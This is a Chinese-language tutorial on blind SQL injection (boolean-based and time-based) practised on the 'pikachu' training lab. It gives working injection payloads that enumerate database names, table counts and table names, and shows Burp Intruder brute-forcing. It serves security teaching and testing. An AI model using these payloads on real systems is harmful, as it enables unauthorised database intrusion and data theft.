'SQL注入之盲注'
SQL注入之盲注
在我们注入语句被带入数据库查询单却社么都没有返回的情况下我们该怎么办?例如应用程序就会返回一个”通用的” 的页面,或者重定向一个通用页面(可能为网站首页),这时,我们之前学习的 SQL 注入办法就无法使用了。
盲注:即在 SQL 注入过程中,SQL 语句执行选择后不能回显到前端,页面无回显数据信息,或者回显的信息是true或者false,这时我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。
盲注的分类:
- 基于布尔型盲注
- 基于时间盲注
- 基于报错型盲注
测试平台:pikachu
1. 常用函数介绍
1.1 length()函数
计算字符串长度
1.2 substr()函数
substr(string,start,length)
string(必需)规定要返回其中一部分的字符串,start(必需)规定在字符串的何处开始,length(可选,默认为1)规定被返回字符串的长度。
例如:
1 | substr(database(),1,1) |
1.3 ascii()函数
求得字符的ascii值
1.4 count()函数
求个数,例如count(database())=
1.5 sleep()函数
使得页面延迟访问,单位秒
1.6 if(语句1,执行1,执行2)语句
if()函数里面写三句话,语句1成立就执行1,不成立就执行2
格式:
1 | if(语句1,sleep(10),null) |
1.7 limit 的简介
limit 子句可以被用于强制 select 语句返回指定的记录数。
limit 接受一个或两个数字参数,参数必须是一个整数常量。
如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。
初始记录行的偏移量是 0(而不是 1)。
也就是从第几行开始,然后返回几行,第一行是0而不是1,所以limit查询第一行开始的话第一个常量为0.
2. Boolian(布尔型)盲注
2.1 判断当前数据库长度
首先我们得知道一个正确的id,这里我们知道的是vince,没有的话无论如何都无法让页面返回正确的信息。
1 | vince' and length(database())<1/2/3/4...# |
当<8的时候显示正常的信息;当<7的时候显示不存在该用户,说明该数据库名称长度为7
2.2 判断数据库名
1 | vince' and ascii(substr(database(),1,1))=112# |
在爆破字符串的时候可以借助Burpsuite
例如:利用第二条注入语句
利用Burp抓包,抓到的页面放到 Intruder中
设置payload
然后右上角有start attack进行爆破
通过看不同的length可以判断正确结果会是P或者p,因为我们是改变URL中的参数,而URL中的访问参数是不分大小写的
然后后面的查询都可与利用同样的方法了。
最后我们得到的数据库名:pikachu
2.3 查询数据表个数
上面我们已经知道了数据库名,就可以利用数据库名作为判断依据
1 | vince'and (select count(table_name) from information_schema.tables where table_schema='pikachu')=1/2/3/4/5...# |
2.4 查询第一个表名的长度
1 | vince'and length(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1))=8# |
2.5 查询第一个表名的第一个字母
1 | vince'and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))=104# |
查询第一个表名的第二个字母:
1 | vince' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),2,1))=116# |
下面的查询字段名或者字段内容都是一个原理。
3. Base on time(时间型)盲注
原理:时间型盲注的特点是通过看页面访问时延迟来判断注入查询的是否正确。
3.1 判断是否存在时间注入
1 | vince' and sleep(10)# |
3.2 判断当前数据库长度
1 | vince'and if(length(database())=7,sleep(10),null)# |
它的拼接语句和 布尔型的有点类似,差不多就是多了个 if 的判断条件,从而利用 sleep 来判断是否正确,剩余的语句都是一个原理,举一反三。